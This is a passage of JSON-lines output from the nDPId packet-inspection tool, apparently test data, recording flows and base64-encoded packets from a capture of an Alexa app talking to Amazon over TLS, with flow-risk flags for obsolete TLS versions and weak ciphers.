+00736{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":992,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":73,"flow_packet_id":4,"flow_first_seen":1490976071385,"flow_last_seen":1490976071441,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45697,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00536{"flow_id":68,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":993,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":444188,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB9SDRAAOcGV3k0XuiGrBAq2AG7sn0V5Ch\/kScyQVAYf\/iw2AAAFgMBAEoCAABGAwFY3n1HoIqu4iz1t6q3Aw\/d1XGda8i7JbQ0V4SKKTuKVyCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAvABQDAQABAQ=="} +00851{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":993,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":68,"flow_packet_id":5,"flow_first_seen":1490976071286,"flow_last_seen":1490976071444,"flow_tot_l4_data_len":452,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":90,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45693,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00414{"flow_id":68,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":994,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":445213,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoa3xAAEAG24asECrYNF7ohrJ9AbuRJzJBFeQo1FAQAVcEVwAA"} +00489{"flow_id":68,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":995,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":445973,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABdSJRAAOcGVzk0XuiGrBAq2AG7sn0V5CjUkScyQVAYf\/j50gAAFgMBADBk9BasL9AE3pWKtlUjlgloy1YCNYsbYZdDrY7qJVR6QnHqM5QQ0PVDvzOM8Oobatc="} +00414{"flow_id":68,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":996,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":446909,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoa31AAEAG24WsECrYNF7ohrJ9AbuRJzJBFeQpCVAQAVcEIgAA"} +00498{"flow_id":68,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":997,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":447523,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABja35AAEAG20msECrYNF7ohrJ9AbuRJzJBFeQpCVAYAVcNXwAAFAMBAAEBFgMBADCk9Z\/spxrYXjwbbCJRm\/mnGHlpvO0bZFWTFjFN+k7jNvvakDETOFv4jwhzR5aAtx4="} +00427{"flow_id":74,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":998,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":448042,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAw0V1AAOcGzpw0XuiGrBAq2AG76TIsDp+yTuXca3ASH\/6OPgAAAgQFtAEDAwY="} +00414{"flow_id":74,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":999,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":449032,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAohlpAAEAGwKisECrYNF7ohukyAbtO5dxrLA6fs1AQAVfYrwAA"} +00679{"flow_id":74,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1000,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":451916,"pkt_caplen":248,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":248,"pkt_l4_len":214,"pkt":"AMDKkaPvePiC0\/vCCABFAADqhltAAEAGv+WsECrYNF7ohukyAbtO5dxrLA6fs1AYAVeOnQAAFgMBAL0BAAC5AwN6cp6GYC5xfAeiRgQRCWi6UVwyVXoduZRVV+ZY6Nku9AAALMArwCzAL8AwAJ4An8AJwArAE8AUADMAOQAyADjAB8ARAJwAnQAvADUABQD\/AQAAZAALAAQDAAECAAoANAAyAA4ADQAZAAsADAAYAAkACgAWABcACAAGAAcAFAAVAAQABQASABMAAQACAAMADwAQABEADQAgAB4GAQYCBgMFAQUCBQMEAQQCBAMDAQMCAwMCAQICAgM="} +00789{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1000,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":74,"flow_packet_id":4,"flow_first_seen":1490976071392,"flow_last_seen":1490976071451,"flow_tot_l4_data_len":302,"flow_min_l4_data_len":20,"flow_max_l4_data_len":214,"flow_avg_l4_data_len":75,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":59698,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS","24":"SNI TLS extension was missing"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","ja3":"36e9ceaa96dd810482573844f78a063f","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +02246{"flow_id":67,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1001,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":456701,"pkt_caplen":1400,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1400,"pkt_l4_len":1366,"pkt":"ePiC0\/vCAMDKkVoBCABFAAVqJp9AANsGgCE0XuiGrBAq2ABQwcY3D6dHIEe4eFAYf\/O6JwAASFRUUC8xLjEgMjAwIE9LDQp4LWFtem4tUmVxdWVzdElkOiA0MjhmOTQ4Ni0xNjJiLTExZTctYWQzZi0yYjBkNzI4Nzk4ZTkNCkNvbnRlbnQtRW5jb2Rpbmc6IGd6aXANCkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlDQpFeHBpcmVzOiBGcmksIDMxIE1hciAyMDE3IDE2OjAxOjExIFVUQw0KQ29udGVudC1UeXBlOiB0ZXh0L2NhY2hlLW1hbmlmZXN0DQpDb250ZW50LUxlbmd0aDogMTA4OA0KRGF0ZTogRnJpLCAzMSBNYXIgMjAxNyAxNjowMToxMCBHTVQNCg0KH4sIAAAAAAAAAJWW3W+rNhTA3\/NXVNrbJAeDY8B96207rVrbW91m2sM0IX8SbgAj27lp99fPQBMoEF1NSqLY5+fz5eNj397c\/n5\/9XTz\/PDb\/et29csVREEE\/SdMrkJ4DaOrl6fV6ralrlcBtzbACZYRoE2zrop67Wf66TTdUAV+6LdhWunaBTcV\/VfX9xWTJnt0a+fUguBJXBB8yy8ItruR4IvWe2nK98fbu+zBXRCcVBVVHmAaIwVsI+m+qPPH+7sshvDNf9d58YGkscACKPqj4Lpe+59+2sfdTtgghCmKQNFQATqiqfMJkaANJp7Y6VoCI11R00so4TFUXpg9y+OTZkUp76Q3LNf2xxTlOKLxSesFdTJEKex9W7TLyoN0WrtdIOOQUdCOt+34hRbGJ2TrdQ+ZGNEpw\/FA3+q6ltxJMbBcH2pn3oOQEBy2AaG3TNbgz9fB+AmRqYBt7qZyqesAEZikINc6L2VW6lwPYlUW+c69OuoONojTGKFWRz87pGtHa2GBMlIGUYJJ0jJ8R5cJFKYJbolaH7OmpO8+BYtgwiLFWrCFsoYe7GiHysI6G2x4ghE47gonPVALOnG\/pxjHEvm9EYtMdbAFD2AcJwz4HKvCVNQVuv5C+T43Pn0iu5N273Tzv9ZsKSul+7ts4+G0kf\/MVqdsw0FjikoCS+1uKg8jFqKfaG+0cYYWbqY8lFGIwVelpBmt6ot9ym5CwsklQ8tL8CaKGKg1oMYdtdlP5QTBCM3MX0gjSekGg25\/+5Nzru9ezjHdRDNlP80vVywUl5ZdTJyI4oiDvvdlT+1U9vipXGrtClXwLk82QDxhEAh9rI\/UiBtj9HGoUa2ZDGAYYl\/FVZ4d\/bpM8p2eEGHCI9URlLdaM6HdFCEIww4RXadaUhMlUogxM1eDUgI3gy8LgBI8GrviaDNBMES+WZx1zIE0VmnvR9fx\/e1xbmlTMkWEjq0tRJWKNE7HUc0Nkg0nvdPtwfY\/fH+YMYpADF5ozb1HZ8eavgFnlRajEu8WMIVY8ikKenjjbfEMmu2+KEsbRFRhDLpWMyj5kLFYMgSsa\/uOEc+j2pmhKiZEgj7KGyGMtGN1pZSNdwojCrr\/WXXwPe\/zRWObwl8RxnuEIgJBN\/ThAW1onftLsf1f9ef5fMTOa5AkCQSlpsLH6ivDZmI\/CvWExUJFCnwMQW7kO9CNWwCJQlAt+xAtmGec+oY1Mj9WaXx\/twFkxN+H\/QgcJXU7acbB91SSEixPVLuVc4RhxvgY6R5SM0ww6G9rW\/keB3a6OimdOyb9Y0yAtvhOSv2DLg6jEA2s7zbKb33L+rtISNs+FNo6eGi38Ix9hBUonIhwEiuo5bH38rt3jiRMnd+F3\/37ryxYkJLQnxYhG\/tpmvnDZ70HTfd2PI+Gt6NtaFDUQr6td64qV6vn++1fX7\/9cb36dfUfPnBO\/LMKAAA="} +02396{"flow_id":68,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1002,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":458019,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXca39AAEAG1c+sECrYNF7ohrJ9AbuRJzJ8FeQpCVAQAVe7vAAAFwMBACB9go\/eBiMfdLbe7WUswxJ7yXC+os6RAlghCADs03ECTxcDAQYgHaMdIxe6zNRMHDVaBO2YntGmNR6RnkpNsgnQpZ6WqKmsfYs4Wwq7qGRFZDqPWwuFzN4fX3fxzOjAU\/8F4e7+b28uAsUBWkm1G8zyYwQPSGt7A73NNnwAIKbWlgh8c2Xt7NT+nNGX1jOe9ExfW02VrCv13mch3qvXEst1fV\/IfdkeVSujL+fsZCwBFgUEvhA1AgTQADx2BNuFZKgdWui3ZqsytMsN1EqaqgF0U4DPahwmxdHnWvQVJiRVd+TTOVjNi5GY0jDRzd+SsVXLCudVOG+FoocnrWaHjJ8eWTZX3F7rcVeLhEIFHO7Nj3Q5cr1oeQ8LxzDg4BX0BRzeavsQW4H02JmY36msYX2HofVwbM3pkbVH2fK8pWOrCx6pPBritMJWJJ3ml5wvcVtEF25\/OBR2SCsBuguhX6eOmDhX7UEQy9F1dbf6iwTkeYjx6O8wVtyPGktyR6pK4h2rBI++NRr3hS25B\/qnP1QmnLHkLS\/IKZUK3gPTZldqk2qoiX9KRDvvFPUl+FnvmoNYII0QgLmATIUXbN++URtt18NLcq6tLti7gXWRbqdR90T8puiUo2SZnSEru3HBRFic9RJ0kEJeasl4aY61D\/AgflWJKqMpAlIcKnyRKU8mTDwoZjZVZyytZwBIgXUK09ogODQO9Q2TXh4hphVZYJiPjolukkfdgVxZ6t5UpeQO0bq3By5DsRgk1TzFA7DluArDY3Tzgb69zWFKWud3Uv84KCl2Fc2XPwuxg6bF4157EvMxbF2AzA2o0M5W8Vz+YeDi5A01+w4\/gk7U941Zbfu04NWPRI8Y1qOwXn8JMOP77iPTj7HQFLwL7pSOqG0E9e\/4SLli0ekSutTe2GC+S15+xtZem7pIsMiw7khho3UhuZ4Ex5anadRm3nc6eUsIf7\/xxxb\/gcQKud8ACpq6c9+DOVGb36hE4D+VN9OYJI4\/QMZfSD2jfdsSQFUlx9OZz\/G72AMc61vZcd9UamMqT1CE5OsbP2qjKxGiYS5\/+KRaQN8GT80MJ1zR84hO8szPi3xXUoMwKYL7n6u4fdbXvK9kTv8wprZmFAVcv5QcTstaPFMPoipr2PVvDDWRmzboDcgOy06NMzURElI1Oo\/zcNozGWg1OM0xVuB8VqW7V2Bidf0nfv42+p\/T99uKq+dy5x7GpK8v45ozDuqFxKe3IjwCjNNKarFUGBYJ+10agOtLmVA9xRrt6RxzbZvOlmRmjL2sQzGIAF3mM68sL+oW1J10L1ZzWYde8K6\/0\/uLjpJ0377Tbt1Ocz4U+sxzCntJNdPb3ZUBIb0ZCVV6pJtI6XWnCr0OxorkSNe0xckcTdgE19zQyvpjjEKxVsAlgq\/7O6tZnQgvJHjZekPgyvKMiV9Bu\/NpggUdTVRHiBkXQxmTKt9k5JFhcmtufVrU5SCkrWfE3bATQGeP8mhnba0Y\/m26DENqkFK6k7Z4Z2LAB39ezkpwB64a2sBrizw1iguwuxIZbivwMo52JKz6f8SxT7HcH7j09QonfoBrZ6oDtdUXmlIQDK5BU8KviqwM\/wF6nCeaqMk+9L1iz0Bk40znvLcuzkXZXBcYnsocCQFHcWk9gVz\/tpk7vEA2LFVkTRoE1HHrWSaBfdJKf8Cl6EsMr0vrLAfY8nprkFH3u1x1XAqDljGYJnvhLeX0Aa8u+klMwhKUcMS1Tp8alkLweVg4LV5bEpp0PW6\/ttq9v2wJt1DHsYJDMMMuJhAayYwbYdMs7ZNx5xugQgUXzWzGqtBYzksUooljaMutZ1cF\/jhw1KhMvkZNQrUeDNFBkL317Z7Rkxhc\/cmhJ4+biOOi3A4lUngfuVdQopbDA09kSLVngi3mCYJwz6jt2GiTKtBb+hq8N1iSyrqOf33ezekKBrHGsH4="} +00415{"flow_id":67,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1003,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":458281,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAo70tAAEAGV7esECrYNF7ohsHGAFAgR7h4Nw+siVAQAWE8NwAA"} +00625{"flow_id":68,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1004,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":458411,"pkt_caplen":204,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":204,"pkt_l4_len":170,"pkt":"AMDKkaPvePiC0\/vCCABFAAC+a4BAAEAG2uysECrYNF7ohrJ9AbuRJzgwFeQpCVAYAVeBxgAA7XzbTfJPCljtPACuxNf910BkKL0BTjK7gsTdQXLRQd3P2iXVx\/zmjFcZIq4k7g08AHhc93Jk3CR+2dz3mTa4E7lk\/aTPA6sgqrE\/Co\/NrrNIKy+oHzLw1hkYlAO9G5J1l\/Dht+MWeLUHkZxUhK8Nh5lTFRXMd7XDp\/j2lVe46PpVFUhtc8XHH7BTzYTSxiXPqf6xOQcn"} +00424{"flow_id":72,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1005,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":486392,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAodjdAAOcGKcs0XuiGrBAq2AG7soCzlhpEnkFyDVAQf\/ipqQAAAAAAAAAA"} +00535{"flow_id":72,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1006,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":486531,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB9djlAAOcGKXQ0XuiGrBAq2AG7soCzlhpEnkFyDVAYf\/gwpAAAFgMBAEoCAABGAwFY3n1HZlzaG39Wabnrdmi+ugu5LTH2Z63hbn1vRZ5tPCCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAvABQDAQABAQ=="} +00852{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1006,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":72,"flow_packet_id":6,"flow_first_seen":1490976071380,"flow_last_seen":1490976071486,"flow_tot_l4_data_len":472,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":78,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45696,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00491{"flow_id":72,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1007,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":486596,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABddjxAAOcGKZE0XuiGrBAq2AG7soCzlhqZnkFyDVAYf\/jtQAAAFgMBADAFZSWByLsoLy1\/csajsfivnhztXAs4zq7uoYJQMDQFipkxBSRUH6BUVLRAhMv2evI="} +00415{"flow_id":72,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1008,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":487416,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoKzJAAEAGG9GsECrYNF7ohrKAAbueQXINs5YamVAQAVcn9gAA"} +00415{"flow_id":72,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1009,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":488163,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoKzNAAEAGG9CsECrYNF7ohrKAAbueQXINs5YazlAQAVcnwQAA"} +00500{"flow_id":72,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1010,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":488655,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABjKzRAAEAGG5SsECrYNF7ohrKAAbueQXINs5YazlAYAVefhQAAFAMBAAEBFgMBADA5pEwoQPc2Rl08Xc+uxxgK\/jG\/F4sS1CdDVBCLIAS0X8NCW++soAuMSipA5eUO5f4="} +00425{"flow_id":69,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1011,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":489150,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAocaBAAOcGLmI0XuiGrBAq2AG7sn5peGXoyPjC+FAQf\/QshwAAAAAAAAAA"} +00499{"flow_id":69,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1012,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":494162,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"ePiC0\/vCAMDKkVoBCABFAABjccxAAOcGLfs0XuiGrBAq2AG7sn5peGXoyPjC+FAYf\/RwBQAAFAMBAAEBFgMBADBWGYFWbKhfozhvbfgdlDYFXwWJ5cfzoS2E+uV5UjntiBSNIykATpYl+72N9zISE24="} +00536{"flow_id":71,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1013,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":501486,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB9TDxAAOcGU3E0XuiGrBAq2AG7sn8uyCJ9obvP2FAYf\/gL4QAAFgMBAEoCAABGAwFY3n1H4DyL9g\/1O6DL9RnLeqLLg8udYmp+nrKe5HWJKCCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAvABQDAQABAQ=="} +00852{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1013,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":71,"flow_packet_id":5,"flow_first_seen":1490976071349,"flow_last_seen":1490976071501,"flow_tot_l4_data_len":452,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":90,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45695,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00490{"flow_id":71,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1014,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":501624,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABdTD5AAOcGU480XuiGrBAq2AG7sn8uyCLSobvP2FAYf\/gBcQAAFgMBADCwRun2EbMj42BvmYCZAbeOlpUhb8bhBcgyWdgABb0A86poQz9hHLJnBv5bFoOHXac="} +00417{"flow_id":71,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1015,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":502564,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAolMlAAEAGsjmsECrYNF7ohrJ\/Abuhu8\/YLsgi0lAQAVdDRwAA"} +00417{"flow_id":71,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1016,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":504428,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAolMpAAEAGsjisECrYNF7ohrJ\/Abuhu8\/YLsgjB1AQAVdDEgAA"} +00425{"flow_id":68,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1017,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":508184,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoTJFAAOcGU3E0XuiGrBAq2AG7sn0V5CkJkScyfFAQf\/eFRgAAAAAAAAAA"} +02381{"flow_id":74,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1018,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":511769,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcve1AAOcG3GA0XuiGrBAq2AG76TIsDp+zTuXdLVAYf\/kF2gAAFgMBDLwCAABGAwFY3n1HSu1ZxzDw\/auCivD7kMpHzquqECpdXSsk4uYbkCCDPveyl8oknA6Yiw9M10d1fqyNuQQHuX5ZwIOnN4q82wAvAAsADGoADGcAByUwggchMIIGCaADAgECAhAcRU2OfD5RXVxbu\/\/vTuNvMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwHhcNMTcwMTEyMDAwMDAwWhcNMTgwMTEzMjM1OTU5WjBtMQswCQYDVQQGEwJVUzETMBEGA1UECAwKV2FzaGluZ3RvbjEQMA4GA1UEBwwHU2VhdHRsZTEZMBcGA1UECgwQQW1hem9uLmNvbSwgSW5jLjEcMBoGA1UEAwwTcGl0YW5ndWkuYW1hem9uLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJYBiz7+LgeGD3Pa4IJcJ09bhuxaGQSx+xajoPkJc5erzMpRRS1Ah2pufryf6dws05DN70Qan0Ob6GrLw2\/HxaGvneCRZhiBGyUMFBcJjk1AKw9+Nf1hXE48DlafnWpGrqpfYt2zsG+eRr